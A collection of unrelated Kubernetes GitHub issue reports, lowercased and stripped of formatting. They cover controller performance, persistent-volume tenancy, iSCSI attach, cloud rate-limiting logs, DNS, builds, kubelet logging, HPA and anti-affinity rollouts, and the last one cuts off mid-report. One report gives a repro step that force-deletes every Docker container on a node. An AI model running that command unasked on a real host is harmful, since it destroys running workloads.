all of these controllers follow the same basic pattern.  internally, maintain a cache.store of x. watch for changes to y. when y changes to a getthingthatmanagesy  that last function is usually like: store.getpodcontrollers    which does an o n  search to find matching rc by namespace and label selector.  all of these controllers should use an indexerinformer to at least filter first on namespace before o n  search in that namespace for a match.  this can cause excessive cpu churn when running with large numbers of namespaces.

\r https://github.com/kubernetes/kubernetes/pull/37727 discussion_r90376513

what keywords did you search in kubernetes issues before filing this one?   tenancy\r \r this issue intends to start a discussion on how to do multi tenancy in kubernetes for persistent volumes in particular.  \r \r my team is currently trying to enable stateful apps for our internal customers. one requirement that keeps coming up is how to isolate pv's of one internal customer from pv's of another internal customer. \r \r i see the following isolation mechanisms:-\r - a pv when bound to a pvc inside namespace a  cannot be bound to another pvc inside namespace b  unless the unbind happens and hence are exclusive. \r - when using storageclass, a pv of certain class can only be bound to pvc of the same class. so that means pvc of class a  can only be bound to pv of class a . this allows a pv allocated to one customer to not accidentaly get allocated to another customer , assuming each customer gets a separate storageclass.\r \r while the above isolation is good, its not enough as i understand it . in a multi -tenant environment we want mechanisms which can guarantee that a volume allocated to one customer can never be accidentally allocated/mounted/accessed by another customer. \r \r when using kubernetes, what should we recommend to our customers ?\r \r few more questions, considerations:-\r - why are persistent volumes not namespaced ?\r - is one or more  storageclass'es per customer a good multi tenancy model ? \r - why does attachdisk on volumes always happen on the node using kubelet ? the reason i ask is ,in some networked storage, for e.g. ebs and rbd, this can be dome from the master nodes. doing this from kubelet means exposing more permissions to users then is necessary.\r \r some form of rbac might be good, but currently it works cluster wide or per namespace. since volumes are considered cluster wide, we can only do cluster wide rbac, but the volumes belong to different tenants, so we want something else we need to define that something else \r \r \r some related discussion on multi tenancy here.\r https://github.com/kubernetes/kubernetes/issues/40403

we just move lifecycle admission into the staging/src/k8s.io/apiserver/pkg/admission package and register it when we new admission options in function registeralladmissionplugins ...  while we put other admissions in plugin/pkg/admission package and register them when we create server chain in function registeralladmissionplugins ... . \r what is the difference between lifecycle admission and others, why not put them together ?

i compare the code of iscsi volume plugin in k8s and openstack nova volume code, in  attachdisk   , \r i've tried on a vm node, and we actually need to run steps:\r 1. update iscsinode: \r     \ node.session.auth.authmethod\ ,\r     \ node.session.auth.username\ ,\r     \ node.session.auth.password\ ,\r 2. iscsiadm -m node -t iqn -p tp --op new\r 3. iscsiadm -m node -t iqn -p tp --login\r however, seems steps 2 is missing in kubelet code, and i cannot attach iscsi volume to node, not sure if there is anything wrong.

  \r   what happened  :\r networking tight loop causing gcp cloud rate limiting to kick in. causing tests to fail.\r suspected call stack:\r    \r -> range_allocator.go || cloud_cidr_allocator.go work item update\r \t-> retries every \r \t-> updateretrytimeout = 100   time.millisecond\r \t-> no exponential backoff\r ->updatecidrallocation\r -> ca.cloud.aliasranges\r -> getinstancebyname -> cloud call  rate limited \r    \r \r looks like it could be the root cause of these test failures here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/150\r \r these storage tests are hitting rate limit on the cloud api when trying to detach/delete disks. however, we have exponential backoff for all these functions. but the rate limiting from an external source is affecting the tests.\r \r see logs snippet: https://drive.google.com/file/d/1h4j1c9qfgejorzz-mxf-fkmbfbfarigs/view?usp=sharing\r note:\r these logs span exactly 1 minute.\r try grepping \ ratelimit\ \r or \ cidrnotavailable\ \r -> also note that the cidrnotavailable error messages are probably not verbose enough as they do not pinpoint what the actual error is, you can only associate them by correlation in timing and then looking at the code.\r \r shorter snippet from above log file to demonstrate:\r    \r 0811 22:14:59.727330       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-fbmg\ , uid:\ 403cc885-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-fbmg status is now: cidrnotavailable\r e0811 22:14:59.727457       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-5jzf in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r e0811 22:14:59.727477       1 node_lifecycle_controller.go:730  error determining if node gce-scale-cluster-minion-group-5jzf exists in cloud: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r e0811 22:14:59.727536       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-7c3z in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.727559       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-7c3z\r i0811 22:14:59.727729       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-7c3z\ , uid:\ 4030d328-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-7c3z status is now: cidrnotavailable\r e0811 22:14:59.728246       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-xbkz in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.728271       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-xbkz\r i0811 22:14:59.728423       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-xbkz\ , uid:\ e32c060d-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-xbkz status is now: cidrnotavailable\r e0811 22:14:59.729145       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-b1th in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.729196       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-b1th\r i0811 22:14:59.729325       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-b1th\ , uid:\ e939017b-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-b1th status is now: cidrnotavailable\r e0811 22:14:59.729478       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-2cmn in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.729503       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-2cmn\r i0811 22:14:59.729608       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-2cmn\ , uid:\ 40292649-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-2cmn status is now: cidrnotavailable\r e0811 22:14:59.730585       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-s4bf in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.730607       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-s4bf\r e0811 22:14:59.730683       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-5c1p in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.730704       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-5c1p\r i0811 22:14:59.730757       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-s4bf\ , uid:\ e3111bdf-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-s4bf status is now: cidrnotavailable\r i0811 22:14:59.730787       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-5c1p\ , uid:\ 4113f165-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-5c1p status is now: cidrnotavailable\r e0811 22:14:59.730943       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-9czx in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.730967       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-9czx\r i0811 22:14:59.731110       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-9czx\ , uid:\ 409a9d6a-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-9czx status is now: cidrnotavailable\r e0811 22:14:59.732880       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-r3dp in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.732904       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-r3dp\r i0811 22:14:59.733053       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-r3dp\ , uid:\ 4030ae1e-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-r3dp status is now: cidrnotavailable\r e0811 22:14:59.734131       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-jbk2 in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.734190       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-jbk2\r e0811 22:14:59.734362       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-2-vqq2 in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.734410       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-2-vqq2\r i0811 22:14:59.734413       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-jbk2\ , uid:\ e94ea53b-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-jbk2 status is now: cidrnotavailable\r i0811 22:14:59.734574       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-2-vqq2\ , uid:\ 594af271-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-2-vqq2 status is now: cidrnotavailable\r e0811 22:14:59.734582       1 gce_instances.go:491  getinstancebyname: failed to get instance gce-scale-cluster-minion-group-1-xbj5 in zone us-east1-b; err: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i0811 22:14:59.734612       1 controller_utils.go:224  recording status change cidrnotavailable event message for node gce-scale-cluster-minion-group-1-xbj5\r i0811 22:14:59.734729       1 event.go:221  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ gce-scale-cluster-minion-group-1-xbj5\ , uid:\ 409564d4-9db3-11e8-84fe-42010a280002\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'cidrnotavailable' node gce-scale-cluster-minion-group-1-xbj5 status is now: cidrnotavailable\r    \r \r since this is running on hundreds of nodes hitting this api call should involve some sort of exponential backoff as well as jitter.\r \r /cc @msau42 @mohammedzee1000 \r /assign @jingax10 \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i have pod that needs to resolve a service that exposes a pod. such resolution fails due to  reply from unexpected source: 100.96.3.202 53, expected 100.64.0.10 53  where 100.96.3.202 is the ip of my kubedns pod and where 100.64.0.10 is the ip of the kube-dns service. also i'm using the kubedns setup with skydns not the coredns one.\r \r   what you expected to happen  :\r \r resolution to succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i really don't know, the issue just dropped that way\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.10.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian 1.9\r - install tools: kops\r

although i can do  hack/build-go.sh   does not build docker images  i find that  build/release.sh  fails. this was after changing my boot2docker vm settings as shown in  11852 to use 3gb @cjcullen   satnam      console satnam-macbookpro2:kubernetes satnam$ hack/build-go.sh +++  0805 22:51:01  building go targets for darwin/amd64:     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/hyperkube     cmd/kubernetes     cmd/linkcheck     plugin/cmd/kube-scheduler     cmd/kubectl     cmd/integration     cmd/gendocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     examples/k8petstore/web-server     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test +++  0805 22:51:33  placing binaries satnam-macbookpro2:kubernetes satnam$ build/release.sh +++  0805 22:58:04  verifying prerequisites.... +++  0805 22:58:04  setting boot2docker clock +++  0805 22:58:05  building docker image kube-build:cross. +++  0805 22:58:11  building docker image kube-build:build-2e085a3636. +++  0805 22:58:17  running build command.... +++  0805 22:58:17  creating data container +++  0806 05:58:18  building go targets for linux/amd64:     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/hyperkube     cmd/kubernetes     cmd/linkcheck     plugin/cmd/kube-scheduler +++  0806 06:04:10  multiple platforms requested, but available 2g < threshold 11g, building platforms in serial +++  0806 06:04:10  building go targets for linux/amd64:     cmd/kubectl     cmd/integration     cmd/gendocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     examples/k8petstore/web-server     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test +++  0806 06:04:28  building go targets for linux/386:     cmd/kubectl     cmd/integration     cmd/gendocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     examples/k8petstore/web-server     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test +++  0806 06:06:07  building go targets for linux/arm:     cmd/kubectl     cmd/integration     cmd/gendocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     examples/k8petstore/web-server     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test +++  0806 06:08:02  building go targets for darwin/amd64:     cmd/kubectl     cmd/integration     cmd/gendocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     examples/k8petstore/web-server     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test go build k8s.io/kubernetes/pkg/ui/data/swagger: /usr/src/go/pkg/tool/linux_amd64/6g: signal: killed !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:388   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${version_ldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 1 call stack:

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/eviction/threshold_notifier_linux.go l114\r \r close it may make kubelet crash, though the possibility is small.\r keep it open is just ok.\r and to avoid getthresholdevents blocked for ever, stopch should be passed in it.\r \r \r    golang\r func getthresholdevents eventfd int, eventch chan<- int, stopch <-chan struct{}  {\r \tfor {\r \t\tbuf := make   byte, 8 \r \t\t_, err := syscall.read eventfd, buf \r \t\tif err != nil {\r \t\t\treturn\r \t\t}\r \t\t\r \t\tselect {\r \t\tcase eventch <- 0:\r \t\tcase <-stopch:\r \t\t\treturn\r \t\t}\r \t}\r }\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   : no\r \r   what keywords did you search in kubernetes issues before filing this one?   :\r  docker rm log symlink \r  log symlink \r  file exists: \ start container failed\  \r \r ---\r \r   is this a bug report or feature request?   : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version   \r v1.6.3\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os   : ubuntu 14.04\r -   kernel   : 4.2.0-42-generic\r -   others  : docker 17.05.0-ce\r \r   what happened  :\r when deleting kubelet managed containers on a docker host  using  docker rm -f  , kubelet fails to sync the pod with the following error : \r    \r pod_workers.go:182  error syncing pod 1456e04c-45d5-11e7-9e8f-8efbac9a033c  \ sq-ci-index-821397182-w6l5m_default 1456e04c-45d5-11e7-9e8f-8efbac9a033c \  , skipping: failed to \ startcontainer\  for \ sq-ci-index\  with rpc error: code = 2 \r desc = failed to create symbolic link \ /var/log/pods/1456e04c-45d5-11e7-9e8f-8efbac9a033c/sq-ci-index_0.log\  to the container log file \ /var/lib/docker/containers/c54782580a41d3223148f9a88612cf490065e0c474e9aa87927e810ebda41e63/c54782580a41d3223148f9a88612cf490065e0c474e9aa87927e810ebda41e63-json.log\  for container \ c54782580a41d3223148f9a88612cf490065e0c474e9aa87927e810ebda41e63\ : \r symlink /var/lib/docker/containers/c54782580a41d3223148f9a88612cf490065e0c474e9aa87927e810ebda41e63/c54782580a41d3223148f9a88612cf490065e0c474e9aa87927e810ebda41e63-json.log /var/log/pods/1456e04c-45d5-11e7-9e8f-8efbac9a033c/sq-ci-index_0.log: file exists: \ start container failed\ \r    \r the symlink in /var/log/pods is broken and  kubectl logs  returns \r    \r failed to open log file \ /var/log/pods/1456e04c-45d5-11e7-9e8f-8efbac9a033c/sq-ci-index_0.log\ : open /var/log/pods/1456e04c-45d5-11e7-9e8f-8efbac9a033c/sq-ci-index_0.log: no such file or directory\r    \r despte the  start container failed  error, the container is properly started and everything works fine except for the kube log features.\r \r   what you expected to happen  :\r the symlink should be updated to point to the newly created container. and there should be no error in kubectl logs.\r \r   how to reproduce it    as minimally and precisely as possible :\r from a minion with running kubelet-managed docker containers, run  docker ps -aq | xargs docker rm -f . try to get the logs of a pod running on this docker host with  kubectl logs  \r \r \r

is this a bug report or feature request?  : feature request\r \r  \r   what happened  : in normal installation of bazel and running  make bazel-build  user will most probably hit certain set of errors, like absence of g++ compiler or absence of glibc development headers or something else.\r \r   what you expected to happen  : it will be good if bazel build rules will validate environment and warn users about missing components.\r \r   how to reproduce it  as minimally and precisely as possible   : centos 7 or opensuse 42.x environment. install jdk, bazel, make, gcc normally. run  make bazel-build  and it will result in series of errors either for  missing dependency declaration for /usr/include/foo.h   in case of g++ missing  or  /usr/bin/ld: error: cannot find -lc    in case of static devel files are missing \r \r \r   anything else we need to know?  :\r cc @ixdy \r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : centos 7, opensuse 42.3\r - kernel  e.g.  uname -a  : n/a\r - install tools: \r - others:\r

 \r the certificate used by the kubelet to connect to the api server authenticates the connection to the api server. if the certificate expires, the kubelet will no longer be able to authenticate and will fall out of the cluster  status of notready . this change adds a metric to report the expiration date of the kubelet certificate.

in ~30% of cluster size autoscaling test suite runs, heapster pod starts restarting every 1-2 minutes for ~15 minutes. this causes flakes for two reasons: \r 1. nodes don't become schedulable due to rescheduler repeatedly tainting nodes with criticaladdonsonly  which doesn't help as pod is deleted and created again, sometimes before the taint is lifted ,\r 2. in hpa/ca integration test, hpa is unable to fetch metrics due to restarting heapster.\r \r based on logs from addon resizer, it's being restarted every 1 minute and immediately sends request to increase resources. this doesn't seem to be due to changing requirements.\r \r cc @piosz @mwielgus @x13n

is this a bug report or feature request?  :\r \r  \r   description  :\r \r for daemonset integration test, it's better to remove the test data after each integration test, as the etcd is not re-start for each test.\r \r  /assign\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  : kubelet fails to start due to missing /proc/swaps file\r \r   what you expected to happen  : the code must check if support for swap is enabled in the kernel before attempting to open /proc/swaps\r \r   how to reproduce it  as minimally and precisely as possible   : remove config_swap or config_swap=n in the kernel config\r \r   anything else we need to know?  : no\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : custom 4.14.40\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r \r had to manually install modules.\r \r   what you expected to happen  :\r \r install setup installs the modules.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  root@ipa-rhel7-local-01 kubernetes   uname -r\r 3.10.0-862.9.1.el7.x86_64\r  root@ipa-rhel7-local-01 kubernetes   more /etc/redhat-release \r red hat enterprise linux server release 7.5  maipo \r  root@ipa-rhel7-local-01 kubernetes   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r on nodes manual install of modules is needed,\r \r modprobe ip_vs_rr\r modprobe ip_vs_wrr\r modprobe ip_vs_sh\r modprobe ip_vs\r \r

 \r   what happened  : i was testing hpa before 1.12 release. my test created replication controller with 10 pods, each using 40% cpu and hpa targeting 60% cpu utilization. first scale was random. on different runs the first scale was to 1, 4, 7 pods.\r \r i expect the same problem will surface if hpa scales up and then gets restarted.\r \r   what you expected to happen  : stabilizing at 10 pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create deployment with 10 pods, each utilizing 40% cpu, requesting 1 cpu.\r - create hpa with target 60% cpu, min size = 1, max size = 10.\r - observe first scale, repeat a few times.\r \r   anything else we need to know?  : \r \r i think i know cause and have a fix. initially hpa doesn't make any resizes because it considers pods unready. the problems start when pods start becoming ready. for example if only 1 pod becomes ready hpa will see it as pods using 400 millicores, with 60% cpu utilization target this means recommended size 1.\r \r in most cases this is not a problem because scale down stabilization window will prevent hpa from scaling down. however if hpa doesn't have recommendation history  in my test because it was just created, in the wild because controller manager restart  it will act upon the recommendation and scale down.\r \r this is somewhat random because it depends how many pods exactly crossed threshold for being concerned ready when hpa calculates the recommendation.\r \r the way to fix it is to record initial size as recommendation made  by the one creating deployment or by previous execution of hpa  at  the time hpa first calculates a recommendation for the deployment and stabilize on it just like on any other recommendation.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.2.35+e231c3ca1f15fe\ , gitcommit:\ e231c3ca1f15fe96f8b73201160e25fc5968f63d\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t10:48:57z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

how to remote debug kubernetes process, such as using ide in windows to debug the kube-apiserver running on linux\r \r \r <!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r

opening an issue to collect ideas.  currently, we just have a cli correspondence cheatsheet. https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/docker-cli-to-kubectl.md  cc @kelseyhightower @kubernetes/docs

we should publish a dashboard for test owners. - owners should be able to see which of their tests are flaky, and how flaky they are, so they can fix the most important ones. - we should keep the following stats, so test owners have something to brag about:   - number of tests owned   - flake rate of owned tests   - mean time to fix owned tests when they do flake   - number of runs of owned tests   - anything else that sounds fun  the more dimensions the more \ winners\ . of course, anyone fixing tests is a winner in my book already :   part of  24753

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/295/ failed:  k8s.io  criticalpod  serial   disruptive  when we need to admit a critical pod should be able to create and delete a critical pod {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/critical_pod_test.go:94 expected error:     < errors.errorstring | 0xc420423f00>: {         s: \ pod ran to completion\ ,     }     pod ran to completion not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:81

support for the v1 protocol to the docker registry was removed in docker version 1.13. at some point we'll presumably want to update our recommended docker version. our existing version has a --disable-legacy-registry flag which prevents use of the v1 protocol. we should enable this flag in preparation for that eventuality.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal\r -   os    e.g. from /etc/os-release : centos7/ol7\r -   kernel    e.g.  uname -a  : depends on box\r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r \r i have a pod with the following anti-affinity rule\r    \r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: k8s-app\r                 operator: in\r                 values:\r                 - kube-controller-manager\r             topologykey: kubernetes.io/hostname\r    \r \r i have 3 nodes where this pod can deploy to and run 3 replicas. so 1 pod per node. \r \r when i first applied the change to the manifest the current state of the cluster was:\r    \r kb get po -l k8s-app=kube-controller-manager -o wide\r name                                       ready     status        restarts   age       ip         \r kube-controller-manager-1756656909-36srf   1/1       running       0          12d       10.5.57.4   \r kube-controller-manager-1756656909-rrkvj   0/1       terminating   0          12d       <none>    \r kube-controller-manager-1756656909-wdmkg   1/1       running       0          12d       10.5.62.4 \r kube-controller-manager-889084721-drbkh    0/1       pending       0          9s        <none>\r kube-controller-manager-889084721-sn6xg    0/1       pending       0          9s        <none>\r    \r \r which is what i expected. the rollout status at the same time though showed: \r    \r kb rollout status deploy/kube-controller-manager\r waiting for rollout to finish: 2 out of 3 new replicas have been updated...\r    \r \r 2 out of the 3 replicas had not been updated successfully. they were still in a pending state as you can see above. \r \r this continued one, until rollout status said the rolling out was done\r \r  deployment \ kube-controller-manager\  successfully rolled out \r \r however, the actual status of the rollout was:\r \r    \r kb get po -l k8s-app=kube-controller-manager -o wide\r name                                      ready     status    